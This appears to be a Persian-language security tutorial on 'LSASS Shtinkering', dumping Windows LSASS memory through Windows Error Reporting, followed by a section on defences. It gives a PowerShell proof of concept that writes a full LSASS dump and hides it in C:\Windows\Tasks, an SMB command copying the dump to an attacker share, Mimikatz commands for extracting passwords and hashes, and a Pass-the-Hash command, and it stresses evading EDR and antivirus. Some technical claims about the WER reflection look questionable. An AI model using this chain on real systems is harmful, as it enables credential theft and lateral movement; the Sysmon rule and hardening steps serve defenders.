LSASS Shtinkering: سرقت Credential با سوءاستفاده از Windows Error Reporting

مقدمه: وقتی Debugging Mechanism تبدیل به Attack Vector میشه

تصور کن یه سرویس داری که قراره به developers کمک کنه crash های برنامه‌ها رو debug کنن، اما همون سرویس تبدیل به یکی از خطرناک‌ترین راه‌های دامپ کردن LSASS بشه. دقیقاً همین اتفاق برای Windows Error Reporting (WER) افتاده.

WER یه built-in service توی Windows هست که وقتی یه application کرش می‌کنه، diagnostic data (شامل memory snapshot) جمع‌آوری می‌کنه. مشکل اینجاست: Microsoft به WER یه privilege خیلی خطرناک داده به اسم SeDebugPrivilege که بهش اجازه میده هر process ای رو بدون هیچ restriction ای باز کنه، حتی lsass.exe.

حالا سوال اینه: اگه یه attacker بتونه WER رو manipulate کنه که فکر کنه یه crash اتفاق افتاده، چی میشه؟ جواب ساده‌ست: full memory dump از LSASS بدون trigger کردن هیچ EDR یا AV.

WER چیه و چرا انقدر Privileged هست؟

نقش اصلی WER

وقتی یه application توی Windows کرش می‌کنه، WER وارد عمل میشه و این کارها رو انجام میده:

• Attach شدن به crashed process (حتی اگه SYSTEM باشه)
• ساخت یه MiniDump از memory اون process
• ارسال telemetry به Microsoft برای analysis (optional)

برای اینکه WER بتونه این کار رو انجام بده، Microsoft بهش unrestricted read access به address space همه process ها داده. این یعنی WER می‌تونه حتی lsass.exe رو بدون هیچ prompt ای باز کنه و memory اش رو بخونه.

چرا این یه Security Issue هست؟

چون lsass.exe (Local Security Authority Subsystem Service) جایی‌ه که Windows همه passwords، hashes، Kerberos tickets و access tokens رو in-memory نگه می‌داره. اگه یه attacker بتونه یه dump از LSASS بگیره، می‌تونه با tools مثل Mimikatz همه credentials رو extract کنه.

Attack Idea: Shtinkering چطور کار می‌کنه؟

Attack Flow

• Fake کردن یه crash: attacker یه process رو مجبور می‌کنه که crash کنه یا یه fake crash trigger می‌کنه.
• Abuse کردن WER API: از internal WER API (که خود Windows ازش استفاده می‌کنه) برای dump کردن LSASS memory استفاده می‌کنه.
• EDR Evasion: چون هیچ suspicious OpenProcess call روی LSASS صدا زده نمیشه و همه چیز از طریق legitimate WER انجام میشه، اکثر EDR ها متوجه نمیشن.

چرا این تکنیک Effective هست؟

• No suspicious API calls: معمولاً وقتی یه process می‌خواد LSASS رو باز کنه، EDR ها alert میدن. اما اینجا چون WER خودش این کار رو می‌کنه، هیچ anomaly detect نمیشه.
• No privilege escalation needed: WER از قبل با SeDebugPrivilege run میشه، پس نیازی به escalation نیست.
• Payload-agnostic: می‌تونی این attack رو با PowerShell، C#، یا هر language دیگه‌ای implement کنی.

Lab Implementation: PowerShell PoC

Attack Code

$OutDir = "C:\temp"
$Lsass = Get-Process lsass

# Reflectively load internal WER wrapper
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$Native = $WER.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$DumpFun = $Native.GetMethod('MiniDumpWriteDump', $Flags)

# Create dump file
$DumpFile = Join-Path $OutDir "$($Lsass.Name)_$($Lsass.Id).dmp"
$FS = New-Object IO.FileStream($DumpFile, [IO.FileMode]::Create)

# Invoke MiniDumpWriteDump
$null = $DumpFun.Invoke($null, @(
    $Lsass.Handle,
    $Lsass.Id,
    $FS.SafeFileHandle,
    [UInt32]2,  # MiniDumpWithFullMemory
    [IntPtr]::Zero,
    [IntPtr]::Zero,
    [IntPtr]::Zero
))

$FS.Close()

# Optional: hide the dump
Copy-Item $DumpFile -Destination "C:\Windows\Tasks"

Code Breakdown

• Get LSASS process handle: با Get-Process lsass یه handle به LSASS process می‌گیریم.
• Reflection into WER: از .NET Reflection استفاده می‌کنیم تا به non-public class WindowsErrorReporting دسترسی پیدا کنیم.
• Call MiniDumpWriteDump: این native Windows API که WER ازش استفاده می‌کنه رو مستقیماً invoke می‌کنیم.
• Save dump: فایل .dmp رو توی یه path (مثلاً C:\Windows\Tasks) save می‌کنیم تا کمتر suspicious باشه.

Key Point

هیچ suspicious OpenProcess call ای صدا زده نمیشه. تنها suspicious operation، file write روی disk هست که اونم با path selection می‌تونه blend بشه.

Post-Exploitation: Credential Extraction با Mimikatz

Transfer کردن Dump File

اول باید فایل .dmp رو از victim machine به attacker machine منتقل کنی. می‌تونی از SMB، C2 framework، یا هر exfiltration method دیگه‌ای استفاده کنی:

# Example: Transfer via SMB
pushd \\attacker-ip\share
copy C:\Windows\Tasks\lsass_1234.dmp .
popd

Parse کردن Dump با Mimikatz

حالا که dump file رو داری، می‌تونی با Mimikatz credentials رو extract کنی:

mimikatz.exe

داخل Mimikatz:

mimikatz # sekurlsa::minidump lsass_1234.dmp
mimikatz # sekurlsa::logonpasswords

اگه فقط NTLM Hash گرفتی؟

اگه plaintext password نگرفتی (که معمولاً توی modern Windows اینطوریه)، می‌تونی از Pass-the-Hash استفاده کنی:

impacket-psexec -hashes :NTLM_HASH administrator@target-ip

این technique بهت اجازه میده بدون داشتن actual password، با همون hash authenticate بشی.

Detection & Defense: چطور این Attack رو Detect کنیم؟

Suspicious Indicators

Defense Strategies

1. محدود کردن PowerShell Reflection

# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

این کار prevent می‌کنه که از Reflection برای access به non-public APIs استفاده بشه.

2. Monitor کردن Dump Files

با Sysmon می‌تونی Event ID 11 (FileCreate) رو برای .dmp files توی suspicious paths monitor کنی:

<RuleGroup name="LSASS Dump Detection" groupRelation="or">
  <FileCreate>
    <TargetFilename condition="end with">.dmp</TargetFilename>
    <TargetFilename condition="contains">C:\Windows\Tasks</TargetFilename>
  </FileCreate>
</RuleGroup>

3. Enable کردن Credential Guard

Credential Guard از virtualization-based security استفاده می‌کنه تا credentials رو توی یه isolated environment نگه داره که حتی با LSASS dump هم accessible نیستن.

# Enable Credential Guard (requires reboot)
Enable-WindowsOptionalFeature -Online -FeatureName IsolatedUserMode -NoRestart

4. Restrict کردن WER

می‌تونی WER رو disable یا restrict کنی:

# Disable WER
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting" -Name "Disabled" -Value 1

Note: این کار ممکنه روی legitimate troubleshooting تاثیر بذاره.

5. LSASS Protection

از Windows 8.1 به بعد، می‌تونی LSASS رو به عنوان protected process run کنی:

# Enable LSASS protection
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -PropertyType DWORD

این کار significantly سخت‌تر می‌کنه که LSASS dump بشه، حتی با privileged access.

Historical Context: از PoC تا Detection

Timeline

• ~2023: Public GitHub repo با نام lsass-shtinkering منتشر شد که این technique رو demonstrate می‌کرد.
• بعد از چند ماه: Windows Defender signatures برای binary اصلی اضافه کرد.
• امروز: Attackers از PowerShell rewrites و obfuscation استفاده می‌کنن تا از static AV checks escape کنن.

چرا این Technique هنوز Relevant هست؟

• Living off the Land: استفاده از legitimate Windows functionality
• Low detection rate: اکثر EDR ها این behavior رو flag نمی‌کنن
• Easy to modify: می‌تونی payload رو به راحتی customize کنی